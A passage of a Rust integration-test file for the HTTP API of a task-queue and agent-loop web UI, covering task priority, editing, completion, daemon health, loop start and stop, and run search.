12111 assert!(held_plain.json()["hold_reason"].is_null());
12112
12113 let released = f
12114 .post(&format!("/api/queue/{}/release", task.id), None)
12115 .await;
12116 assert_eq!(released.status, 200);
12117 assert!(
12118 released.json()["hold_reason"].is_null(),
12119 "a release must clear the reason so the next hold does not inherit it"
12120 );
12121 }
12122
12123 #[tokio::test]
12124 async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
12125 let f = Fixture::start().await;
12126 let queue = f.queue();
12127 let mut older = Task::new(
12128 "filed first".to_owned(),
12129 "x".to_owned(),
12130 PathBuf::from("/repo/magi"),
12131 Source::Human,
12132 );
12133 older.id = "20260101-000001-aaaa".to_owned();
12134 let mut newer = Task::new(
12135 "filed second".to_owned(),
12136 "x".to_owned(),
12137 PathBuf::from("/repo/magi"),
12138 Source::Human,
12139 );
12140 newer.id = "20260101-000002-bbbb".to_owned();
12141 queue.put(&mut older).expect("file older");
12142 queue.put(&mut newer).expect("file newer");
12143
12144 let before = f.get("/api/queue").await.json();
12147 assert_eq!(before[0]["id"], newer.id);
12148 assert_eq!(before[1]["id"], older.id);
12149
12150 let raised = f
12154 .post(
12155 &format!("/api/queue/{}/priority", older.id),
12156 Some(r#"{"priority":10}"#),
12157 )
12158 .await;
12159 assert_eq!(raised.status, 200, "{}", raised.body);
12160 assert_eq!(raised.json()["priority"], 10);
12161
12162 let after = f.get("/api/queue").await.json();
12163 let names: Vec<&str> = after
12164 .as_array()
12165 .unwrap()
12166 .iter()
12167 .map(|t| t["id"].as_str().unwrap())
12168 .collect();
12169 assert_eq!(names[0], older.id, "the raised task now sorts first");
12173 }
12174
12175 #[tokio::test]
12176 async fn task_implementers_api_persists_and_refuses_claimed_or_finished_tasks() {
12177 let dir = TempDir::new().unwrap();
12178 let repo = dir.path().join("repo");
12179 std::fs::create_dir(&repo).unwrap();
12180 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).unwrap();
12181 let q = Queue::at(dir.path().join("queue"));
12182 let ui = Arc::new(Ui::new(
12183 q.clone(),
12184 Questions::at(dir.path().join("questions")),
12185 Talks::at(dir.path().join("talks")),
12186 dir.path().join("runs"),
12187 dir.path().to_path_buf(),
12188 repo.clone(),
12189 ));
12190 let mut t = Task::new(
12191 "seats".into(),
12192 "keep instruction".into(),
12193 repo,
12194 Source::Human,
12195 );
12196 t.runs.push("prior-run".into());
12197 t.hold_manual(Some("waiting".into()));
12198 q.put(&mut t).unwrap();
12199 let change = |count| {
12200 queue_implementers(
12201 State(ui.clone()),
12202 Path(t.id.clone()),
12203 Ok(Json(ImplementersBody {
12204 implementers: count,
12205 })),
12206 )
12207 };
12208 for count in [2, 1, 2] {
12209 let response = change(count).await.unwrap();
12210 assert_eq!(response.0.task.implementers(), Some(usize::from(count)));
12211 let saved = q.get(&t.id).unwrap();
12212 assert_eq!(saved.implementers(), Some(usize::from(count)));
12213 assert_eq!(saved.runs, t.runs);
12214 assert_eq!(saved.instruction, t.instruction);
12215 }
12216 for count in [0, 4] {
12217 assert_eq!(
12218 change(count).await.err().unwrap().status,
12219 StatusCode::BAD_REQUEST
12220 );
12221 }
12222 assert!(serde_json::from_str::<ImplementersBody>(r#"{"implementers":256}"#).is_err());
12223 let claim = q.claim(&t.id).unwrap();
12224 assert_eq!(change(1).await.err().unwrap().status, StatusCode::CONFLICT);
12225 drop(claim);
12226 for status in [
12227 TaskStatus::Running,
12228 TaskStatus::Done,
12229 TaskStatus::Failed,
12230 TaskStatus::Blocked,
12231 TaskStatus::Parked,
12232 ] {
12233 let mut stored = q.get(&t.id).unwrap();
12234 stored.status = status;
12235 q.put(&mut stored).unwrap();
12236 assert_eq!(
12237 change(1).await.err().unwrap().status,
12238 StatusCode::BAD_REQUEST
12239 );
12240 assert_eq!(q.get(&t.id).unwrap().implementers(), Some(2));
12241 }
12242 }
12243
12244 #[tokio::test]
12245 async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
12246 let f = Fixture::start().await;
12247 let queue = f.queue();
12248 let mut task = Task::new(
12249 "in flight".to_owned(),
12250 "x".to_owned(),
12251 PathBuf::from("/repo/magi"),
12252 Source::Human,
12253 );
12254 task.start("20260902-140502-bbbb".to_owned());
12255 queue.put(&mut task).expect("file the task");
12256
12257 let res = f
12258 .post(
12259 &format!("/api/queue/{}/priority", task.id),
12260 Some(r#"{"priority":9}"#),
12261 )
12262 .await;
12263 assert_eq!(res.status, 400, "{}", res.body);
12264 assert!(
12265 res.json()["error"]
12266 .as_str()
12267 .is_some_and(|e| e.contains("running")),
12268 "{}",
12269 res.body
12270 );
12271 assert_eq!(
12272 queue.get(&task.id).expect("reload").priority,
12273 0,
12274 "the refused write must not partially apply"
12275 );
12276 }
12277
12278 #[tokio::test]
12279 async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
12280 let f = Fixture::start().await;
12281 let queue = f.queue();
12282 let mut task = Task::new(
12283 "old title".to_owned(),
12284 "old instruction".to_owned(),
12285 PathBuf::from("/repo/magi"),
12286 Source::Agent {
12287 run: "20260101-000000-beef".to_owned(),
12288 node: "implement".to_owned(),
12289 },
12290 );
12291 task.runs.push("20260101-000000-beef".to_owned());
12292 queue.put(&mut task).expect("file the task");
12293 let created_at = task.created_at;
12294
12295 let edited = f
12296 .post(
12297 &format!("/api/queue/{}/edit", task.id),
12298 Some(r#"{"title":"new title","instruction":"new instruction"}"#),
12299 )
12300 .await;
12301 assert_eq!(edited.status, 200, "{}", edited.body);
12302 let body = edited.json();
12303 assert_eq!(body["title"], "new title");
12304 assert_eq!(body["instruction"], "new instruction");
12305 assert_eq!(body["id"], task.id, "editing must not mint a new id");
12306 assert_eq!(body["created_at"], created_at.to_string());
12307 assert_eq!(
12308 body["source"]["kind"], "agent",
12309 "editing a task an agent filed must not turn it human: {body}"
12310 );
12311 assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
12312
12313 let reloaded = queue.get(&task.id).expect("reload");
12314 assert_eq!(reloaded.title, "new title");
12315 assert_eq!(reloaded.instruction, "new instruction");
12316 }
12317
12318 #[tokio::test]
12319 async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
12320 let tmp = TempDir::new().expect("tempdir");
12323 let repo = tmp.path().join("repo");
12324 std::fs::create_dir_all(&repo).expect("repo dir");
12325 let judge = MOCK_AGENT_TOML.replace(
12326 "printf ok",
12327 r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
12328 );
12329 std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
12330 let f = Fixture::with_repo(repo.clone()).await;
12331 let queue = f.queue();
12332 let mut owner = Task::new(
12333 "owner".to_owned(),
12334 "review it".to_owned(),
12335 repo.clone(),
12336 Source::Human,
12337 );
12338 owner.review_branch = Some("magi/ab12/A".to_owned());
12339 queue.put(&mut owner).expect("file the owner");
12340 let mut task = Task::new(
12341 "draft".to_owned(),
12342 "old".to_owned(),
12343 repo.clone(),
12344 Source::Human,
12345 );
12346 queue.put(&mut task).expect("file the draft");
12347 let url = format!("/api/queue/{}/edit", task.id);
12348
12349 let refused = f
12350 .post(
12351 &url,
12352 Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
12353 )
12354 .await;
12355 assert_eq!(refused.status, 409, "{}", refused.body);
12356 let msg = refused.json()["error"]
12357 .as_str()
12358 .unwrap_or_default()
12359 .to_owned();
12360 assert!(
12361 msg.contains("magi/ab12/A") && msg.contains("force"),
12362 "{msg}"
12363 );
12364 assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
12365
12366 let forced = f
12367 .post(
12368 &url,
12369 Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
12370 )
12371 .await;
12372 assert_eq!(forced.status, 200, "{}", forced.body);
12373 }
12374
12375 #[tokio::test]
12376 async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
12377 let f = Fixture::start().await;
12378 let queue = f.queue();
12379 let mut task = Task::new(
12380 "in flight".to_owned(),
12381 "do not touch".to_owned(),
12382 PathBuf::from("/repo/magi"),
12383 Source::Human,
12384 );
12385 task.start("20260902-140502-bbbb".to_owned());
12386 queue.put(&mut task).expect("file the task");
12387
12388 let res = f
12389 .post(
12390 &format!("/api/queue/{}/edit", task.id),
12391 Some(r#"{"title":"x","instruction":"y"}"#),
12392 )
12393 .await;
12394 assert_eq!(res.status, 400, "{}", res.body);
12395 assert!(
12396 res.json()["error"]
12397 .as_str()
12398 .is_some_and(|e| e.contains("running")),
12399 "{}",
12400 res.body
12401 );
12402 assert_eq!(
12403 queue.get(&task.id).expect("reload").instruction,
12404 "do not touch",
12405 "the refused edit must not change the file"
12406 );
12407 }
12408
12409 #[tokio::test]
12410 async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
12411 let f = Fixture::start().await;
12412 let queue = f.queue();
12413 let mut task = Task::new(
12414 "busy".to_owned(),
12415 "Running right now".to_owned(),
12416 PathBuf::from("/repo/magi"),
12417 Source::Human,
12418 );
12419 queue.put(&mut task).expect("file the task");
12420 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
12421
12422 let priority = f
12423 .post(
12424 &format!("/api/queue/{}/priority", task.id),
12425 Some(r#"{"priority":9}"#),
12426 )
12427 .await;
12428 assert_eq!(priority.status, 409, "{}", priority.body);
12429
12430 let edit = f
12431 .post(
12432 &format!("/api/queue/{}/edit", task.id),
12433 Some(r#"{"title":"x","instruction":"y"}"#),
12434 )
12435 .await;
12436 assert_eq!(edit.status, 409, "{}", edit.body);
12437 }
12438
12439 #[tokio::test]
12440 async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
12441 let f = Fixture::start().await;
12442 let queue = f.queue();
12443 let mut task = Task::new(
12444 "shipped by hand".to_owned(),
12445 "merged outside the loop".to_owned(),
12446 PathBuf::from("/repo/magi"),
12447 Source::Agent {
12448 run: "20260101-000000-b455".to_owned(),
12449 node: "implement".to_owned(),
12450 },
12451 );
12452 task.runs.push("20260101-000000-b455".to_owned());
12453 task.runs.push("20260101-000000-9af4".to_owned());
12454 queue.put(&mut task).expect("file the task");
12455 let created_at = task.created_at;
12456
12457 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
12458 assert_eq!(done.status, 200, "{}", done.body);
12459 assert_eq!(done.json()["status_str"], "done");
12460
12461 let reloaded = queue.get(&task.id).expect("a done task is still on disk");
12462 assert_eq!(
12463 reloaded.runs,
12464 ["20260101-000000-b455", "20260101-000000-9af4"]
12465 );
12466 assert_eq!(
12467 reloaded.source,
12468 Source::Agent {
12469 run: "20260101-000000-b455".to_owned(),
12470 node: "implement".to_owned(),
12471 }
12472 );
12473 assert_eq!(reloaded.created_at, created_at);
12474 }
12475
12476 #[tokio::test]
12477 async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
12478 let f = Fixture::start().await;
12483 let queue = f.queue();
12484 let mut task = Task::new(
12485 "landed while held".to_owned(),
12486 "x".to_owned(),
12487 PathBuf::from("/repo/magi"),
12488 Source::Human,
12489 );
12490 task.hold_manual(Some("waiting on 3ed9".to_owned()));
12491 queue.put(&mut task).expect("file the held task");
12492
12493 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
12494 assert_eq!(done.status, 200, "{}", done.body);
12495 assert_eq!(done.json()["status_str"], "done");
12496 assert!(
12497 done.json()["hold_reason"].is_null(),
12498 "a done task cannot still be waiting on something: {}",
12499 done.body
12500 );
12501 }
12502
12503 #[tokio::test]
12504 async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
12505 let f = Fixture::start().await;
12510 let queue = f.queue();
12511 let runs = f.runs();
12512 write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
12513 write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
12517
12518 let mut task = Task::new(
12519 "landed by hand".to_owned(),
12520 "x".to_owned(),
12521 PathBuf::from("/repo/magi"),
12522 Source::Human,
12523 );
12524 task.runs.push("20260101-000000-doa1".to_owned());
12525 task.runs.push("20260101-000000-doa2".to_owned());
12526 queue.put(&mut task).expect("file the task");
12527
12528 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
12529 assert_eq!(done.status, 200, "{}", done.body);
12530
12531 let reloaded_run = read_run(&runs, "20260101-000000-doa1")
12532 .expect("run still on disk under this fixture's own home");
12533 assert_eq!(
12534 reloaded_run.status,
12535 RunStatus::Superseded,
12536 "closing the task by hand must relabel the earlier blocked attempt exactly \
12537 like the loop's own settle path does"
12538 );
12539 }
12540
12541 #[tokio::test]
12542 async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
12543 let f = Fixture::start().await;
12548 let queue = f.queue();
12549 let runs = f.runs();
12550 write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
12551 write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
12552
12553 let mut task = Task::new(
12554 "closed with nothing actually landed".to_owned(),
12555 "x".to_owned(),
12556 PathBuf::from("/repo/magi"),
12557 Source::Human,
12558 );
12559 task.runs.push("20260101-000000-dob1".to_owned());
12560 task.runs.push("20260101-000000-dob2".to_owned());
12561 queue.put(&mut task).expect("file the task");
12562
12563 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
12564 assert_eq!(done.status, 200, "{}", done.body);
12565
12566 let reloaded_run = read_run(&runs, "20260101-000000-dob1")
12567 .expect("run still on disk under this fixture's own home");
12568 assert_eq!(
12569 reloaded_run.status,
12570 RunStatus::Blocked,
12571 "the last recorded attempt never landed, so the earlier one must not be \
12572 relabelled as superseded by it"
12573 );
12574 }
12575
12576 #[tokio::test]
12577 async fn unknown_ids_are_json_not_found_on_both_stores() {
12578 let f = Fixture::start().await;
12579
12580 let run = f.get("/api/runs/nosuchrun").await;
12581 let task = f.post("/api/queue/nosuchtask/hold", None).await;
12582
12583 assert_eq!(run.status, 404);
12584 assert_eq!(task.status, 404);
12585 assert!(
12586 run.json()["error"]
12587 .as_str()
12588 .is_some_and(|e| e.contains("run")),
12589 "the error names what was not found: {}",
12590 run.body
12591 );
12592 assert!(
12593 task.json()["error"]
12594 .as_str()
12595 .is_some_and(|e| e.contains("task")),
12596 "the error names what was not found: {}",
12597 task.body
12598 );
12599 }
12600
12601 #[tokio::test]
12602 async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
12603 let f = Fixture::start().await;
12604
12605 let missing = f.get("/api/health").await.json();
12606 assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
12607
12608 write_daemon(
12609 f.home.path(),
12610 Timestamp::now() - jiff::SignedDuration::from_secs(60),
12611 );
12612 let stale = f.get("/api/health").await.json();
12613 assert_eq!(
12614 stale["daemon"]["running"], false,
12615 "a minute without a heartbeat is a dead daemon, not a busy one"
12616 );
12617 assert!(
12618 stale["daemon"]["stale_for_secs"]
12619 .as_i64()
12620 .is_some_and(|s| s >= 55),
12621 "staleness is reported so the UI can say how long: {stale}"
12622 );
12623
12624 write_daemon(f.home.path(), Timestamp::now());
12625 let fresh = f.get("/api/health").await.json();
12626 assert_eq!(fresh["daemon"]["running"], true);
12627 assert_eq!(fresh["daemon"]["idle"], false);
12628 assert_eq!(fresh["daemon"]["pid"], 4242);
12629 assert_eq!(fresh["daemon"]["completed"], 7);
12630 assert_eq!(
12631 fresh["daemon"]["current"][0]["task"],
12632 "20260902-140501-aaaa"
12633 );
12634 assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
12635 }
12636
12637 #[tokio::test]
12638 async fn the_loop_is_not_running_until_something_starts_it() {
12639 let f = Fixture::start().await;
12640
12641 let view = f.get("/api/loop").await.json();
12642 assert_eq!(view["running"], false);
12643 assert_eq!(
12644 view["owned"], false,
12645 "nobody owns a loop that does not exist: {view}"
12646 );
12647 assert_eq!(view["stopping"], false);
12648 assert_eq!(view["last_error"], Value::Null);
12649 assert_eq!(view["daemon"]["running"], false);
12650 assert_eq!(
12651 view["repo"], "/repo/magi",
12652 "the repository a start would use, named before it is started"
12653 );
12654 }
12655
12656 #[tokio::test]
12657 async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
12658 let f = Fixture::start().await;
12659
12660 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
12661 assert_eq!(res.status, 200, "{}", res.body);
12662 let view = res.json();
12663 assert_eq!(view["running"], true);
12664 assert_eq!(
12665 view["owned"], true,
12666 "the loop the UI started is the UI's own to stop: {view}"
12667 );
12668 assert_eq!(
12669 view["merge"],
12670 Value::Null,
12671 "no override was given, so each repository's own config decides"
12672 );
12673
12674 let health = f.get("/api/health").await.json();
12678 assert_eq!(health["loop"]["running"], true, "{health}");
12679 assert_eq!(health["loop"]["owned"], true, "{health}");
12680
12681 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
12682 }
12683
12684 #[tokio::test]
12685 async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
12686 let f = Fixture::start().await;
12687 let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
12688 assert_eq!(first.status, 200, "{}", first.body);
12689
12690 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
12691 assert_eq!(
12692 again.status, 409,
12693 "two loops on one queue race for the same claims: {}",
12694 again.body
12695 );
12696 assert!(
12697 again.json()["error"]
12698 .as_str()
12699 .is_some_and(|e| e.contains("already running the loop")),
12700 "the refusal has to say why: {}",
12701 again.body
12702 );
12703 assert_eq!(
12704 f.get("/api/loop").await.json()["running"],
12705 true,
12706 "and the loop that was already running is untouched by it"
12707 );
12708
12709 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
12710 }
12711
12712 #[tokio::test]
12713 async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
12714 let f = Fixture::start().await;
12715 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
12716
12717 let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
12718 assert_eq!(
12719 res.status, 200,
12720 "the answer must not wait for the loop: a run in flight is tens of \
12721 minutes and the operator is holding a phone: {}",
12722 res.body
12723 );
12724
12725 let view = settled(&f, |v| v["running"] == false).await;
12726 assert_eq!(view["owned"], false);
12727 assert_eq!(
12728 view["stopping"], false,
12729 "a loop that has stopped is not still stopping: {view}"
12730 );
12731 assert_eq!(
12732 view["last_error"],
12733 Value::Null,
12734 "a loop that was asked to stop did not fail: {view}"
12735 );
12736
12737 let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
12740 assert_eq!(twice.status, 200, "{}", twice.body);
12741 }
12742
12743 #[tokio::test]
12744 async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
12745 let f = Fixture::start().await;
12746 write_daemon(f.home.path(), Timestamp::now());
12749
12750 let view = f.get("/api/loop").await.json();
12751 assert_eq!(view["running"], false, "not in this process: {view}");
12752 assert_eq!(view["owned"], false, "and not this process's to control");
12753 assert_eq!(
12754 view["daemon"]["running"], true,
12755 "but a loop is alive somewhere, which is what the UI must say"
12756 );
12757 assert_eq!(view["daemon"]["pid"], 4242);
12758
12759 for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
12760 let res = f.post("/api/loop", Some(body)).await;
12761 assert_eq!(
12762 res.status, 409,
12763 "neither button may pretend to work on someone else's loop: {}",
12764 res.body
12765 );
12766 assert!(
12767 res.json()["error"]
12768 .as_str()
12769 .is_some_and(|e| e.contains("4242")),
12770 "the refusal has to name the process the operator must go to: {}",
12771 res.body
12772 );
12773 }
12774 assert_eq!(
12775 f.get("/api/loop").await.json()["running"],
12776 false,
12777 "and the refusal started nothing"
12778 );
12779 }
12780
12781 #[tokio::test]
12782 async fn a_stale_status_file_is_not_a_foreign_owner() {
12783 let f = Fixture::start().await;
12784 write_daemon(
12785 f.home.path(),
12786 Timestamp::now() - jiff::SignedDuration::from_secs(60),
12787 );
12788
12789 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
12790 assert_eq!(
12791 res.status, 200,
12792 "a daemon killed a minute ago must not lock the loop out of its \
12793 own home for good: {}",
12794 res.body
12795 );
12796 assert_eq!(res.json()["running"], true);
12797
12798 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
12799 }
12800
12801 #[tokio::test]
12802 async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
12803 let f = Fixture::start().await;
12804 let before = f.get("/api/health").await.json()["loop_rev"]
12805 .as_u64()
12806 .expect("a loop revision");
12807
12808 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
12809
12810 let after = f.get("/api/health").await.json()["loop_rev"]
12811 .as_u64()
12812 .expect("a loop revision");
12813 assert!(
12814 after > before,
12815 "the loop is in-process state, so this counter is the only thing \
12816 that tells a second device the first one started it: {before} -> \
12817 {after}"
12818 );
12819
12820 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
12821 }
12822
12823 #[tokio::test]
12824 async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
12825 let f = Fixture::with_loop(launch_broken).await;
12826
12827 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
12828 assert_eq!(
12829 res.status, 200,
12830 "starting it is not the failure: {}",
12831 res.body
12832 );
12833
12834 let view = settled(&f, |v| v["last_error"].is_string()).await;
12835 assert_eq!(
12836 view["running"], false,
12837 "a loop that died must not read as running, or the operator has \
12838 nothing to press: {view}"
12839 );
12840 assert_eq!(view["owned"], false);
12841 assert!(
12842 view["last_error"]
12843 .as_str()
12844 .is_some_and(|e| e.contains("read-only file system")),
12845 "the phone is where a loop that died at 3am is visible: {view}"
12846 );
12847
12848 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
12851 assert_eq!(again.status, 200, "{}", again.body);
12852 assert!(
12853 again.json()["last_error"]
12854 .as_str()
12855 .is_none_or(|e| !e.contains("read-only file system")),
12856 "a fresh start does not keep showing why the last one died: {}",
12857 again.body
12858 );
12859 }
12860
12861 #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
12873 async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
12874 let home = TempDir::new().expect("temp home");
12875 let runs = home.path().join("runs");
12876 std::fs::create_dir_all(&runs).expect("runs dir");
12877 let ui = Ui::new(
12878 Queue::at(home.path().join("queue")),
12879 Questions::at(home.path().join("questions")),
12880 Talks::at(home.path().join("talks")),
12881 runs,
12882 home.path().to_path_buf(),
12883 PathBuf::from("/repo/magi"),
12884 )
12885 .with_worktrees_root(home.path().join("wt"))
12886 .with_launch(launch_knocking_on_the_way_out);
12887 let looping = ui.looping();
12888 let turns = ui.turns();
12889 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
12890 .await
12891 .expect("bind loopback");
12892 let addr = listener.local_addr().expect("local addr");
12893 *PARK_KNOCK.lock().expect("park knock") = Some(addr);
12894 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
12895
12896 let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
12897 assert_eq!(started.status, 200, "the loop starts: {}", started.body);
12898
12899 let bound = std::sync::Mutex::new(None);
12914 hand_over(
12915 home.path(),
12916 &looping,
12917 &turns,
12918 &|_: &[String]| Duration::from_secs(5),
12919 served,
12920 |_| {
12921 let deadline = std::time::Instant::now() + std::time::Duration::from_secs(5);
12922 let attempt = loop {
12923 match std::net::TcpListener::bind(addr) {
12924 Ok(l) => {
12925 drop(l);
12926 break Ok(());
12927 }
12928 Err(e)
12929 if e.kind() == std::io::ErrorKind::AddrInUse
12930 && std::time::Instant::now() < deadline =>
12931 {
12932 std::thread::sleep(std::time::Duration::from_millis(10));
12933 }
12934 Err(e) => break Err(e.to_string()),
12935 }
12936 };
12937 *bound.lock().expect("bound") = Some(attempt);
12938 Ok(1)
12939 },
12940 )
12941 .await
12942 .expect("hand over");
12943
12944 assert_eq!(
12945 *PARK_HEARD.lock().expect("park heard"),
12946 Some(200),
12947 "the deck must answer while the loop is parking"
12948 );
12949 let attempt = bound
12950 .lock()
12951 .expect("bound")
12952 .take()
12953 .expect("the successor was started");
12954 assert!(
12955 attempt.is_ok(),
12956 "and the address must be free by the time it is: {attempt:?}"
12957 );
12958 }
12959
12960 #[tokio::test]
12961 async fn a_newer_daemon_status_file_still_renders() {
12962 let f = Fixture::start().await;
12963 std::fs::write(
12966 f.home.path().join("daemon.json"),
12967 serde_json::json!({
12968 "schema": 2,
12969 "updated_at": Timestamp::now().to_string(),
12970 "idle": true,
12971 "surprise": { "nested": [1, 2, 3] },
12972 })
12973 .to_string(),
12974 )
12975 .expect("write daemon.json");
12976
12977 let health = f.get("/api/health").await;
12978
12979 assert_eq!(health.status, 200);
12980 assert_eq!(health.json()["daemon"]["running"], true);
12981 }
12982
12983 #[tokio::test]
12984 async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
12985 let f = Fixture::start().await;
12986 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
12987 let broken = f.runs().join("20260902-140502-bad");
12988 std::fs::create_dir_all(&broken).expect("run dir");
12989 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
12990
12991 let list = f.get("/api/runs").await;
12992 let detail = f.get("/api/runs/20260902-140502-bad").await;
12993
12994 assert_eq!(list.status, 200);
12995 let listed = list.json();
12996 let ids: Vec<&str> = listed
12997 .as_array()
12998 .expect("an array")
12999 .iter()
13000 .map(|r| r["id"].as_str().expect("an id"))
13001 .collect();
13002 assert_eq!(
13003 ids,
13004 vec!["20260902-140501-good"],
13005 "one unreadable run must not cost the operator the whole history"
13006 );
13007 assert_eq!(detail.status, 500);
13008 assert!(
13009 detail.json()["error"]
13010 .as_str()
13011 .is_some_and(|e| e.contains("run.json")),
13012 "the failure names the file to look at: {}",
13013 detail.body
13014 );
13015 let health = f.get("/api/health").await;
13019 assert_eq!(health.json()["runs_unreadable"], 1);
13020 }
13021
13022 #[tokio::test]
13024 async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
13025 let f = Fixture::start().await;
13026 let runs = f.runs();
13027 write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
13028 write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
13029 let path = runs.join("20260902-140502-bbbb").join("run.json");
13032 let mut v: serde_json::Value =
13033 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
13034 v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
13035 std::fs::write(&path, v.to_string()).unwrap();
13036 std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
13037 std::fs::write(
13038 runs.join("20260902-140503-cccc").join("run.json"),
13039 "{ not json",
13040 )
13041 .unwrap();
13042
13043 let res = f.get("/api/search?scope=runs&q=quokka").await;
13044 assert_eq!(res.status, 200, "{}", res.body);
13045 let v = res.json();
13046 assert_eq!(v["total"], 1, "{v}");
13047 assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
13048 assert_eq!(v["hits"][0]["field"], "text");
13049 assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
13050 let parts = v["hits"][0]["snippet"].as_array().unwrap();
13051 assert!(
13052 parts
13053 .iter()
13054 .any(|p| p["hit"] == true && p["text"] == "Quokka"),
13055 "{v}"
13056 );
13057 let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
13058 assert_eq!(
13059 flat, "The Quokka leaks across threads",
13060 "whitespace is collapsed"
13061 );
13062
13063 let both = f
13065 .get("/api/search?scope=runs&q=MOBILE%20quokka")
13066 .await
13067 .json();
13068 assert_eq!(both["total"], 1, "{both}");
13069 let neither = f
13070 .get("/api/search?scope=runs&q=quokka%20zebra")
13071 .await
13072 .json();
13073 assert_eq!(neither["total"], 0, "{neither}");
13074 let stmt = f
13076 .get("/api/search?scope=runs&q=mobile%20first")
13077 .await
13078 .json();
13079 assert_eq!(stmt["total"], 2, "{stmt}");
13080 let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
13081 assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
13082 }
13083
13084 #[test]
13085 fn snippet_ignores_terms_longer_than_the_field() {
13086 let terms = ["ok".to_owned(), "elephant".to_owned()];
13087 let parts = snippet_of("ok", &terms);
13088 assert_eq!(
13089 parts,
13090 vec![SnippetPart {
13091 text: "ok".to_owned(),
13092 hit: true
13093 }]
13094 );
13095 }
13096
13097 #[test]
13098 fn snippet_marks_matches_longer_than_the_window() {
13099 let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
13100 let hit_len = |parts: &[SnippetPart]| -> usize {
13101 parts
13102 .iter()
13103 .filter(|p| p.hit)
13104 .map(|p| p.text.chars().count())
13105 .sum()
13106 };
13107 let total =
13108 |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
13109
13110 let long = "a".repeat(120);
13111 let parts = snippet_of(&long, std::slice::from_ref(&long));
13112 assert!(hit_len(&parts) > 0, "{parts:?}");
13113 assert!(total(&parts) <= cap);
13114
13115 let ja = "あ".repeat(130);
13116 let parts = snippet_of(&ja, std::slice::from_ref(&ja));
13117 assert!(hit_len(&parts) > 0, "{parts:?}");
13118 assert!(total(&parts) <= cap);
13119
13120 let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
13122 let term = format!("ab{}", "c".repeat(100));
13123 let parts = snippet_of(&text, &["ab ".to_owned(), term]);
13124 assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
13125 assert!(total(&parts) <= cap);
13126
13127 let text = format!("{}z", "a".repeat(119));
13129 let parts = snippet_of(&text, &["a".repeat(120)]);
13130 assert_eq!(hit_len(&parts), 0, "{parts:?}");
13131 }
13132
13133 #[tokio::test]
13134 async fn search_caps_hits_and_snippet_length() {
13135 let f = Fixture::start().await;
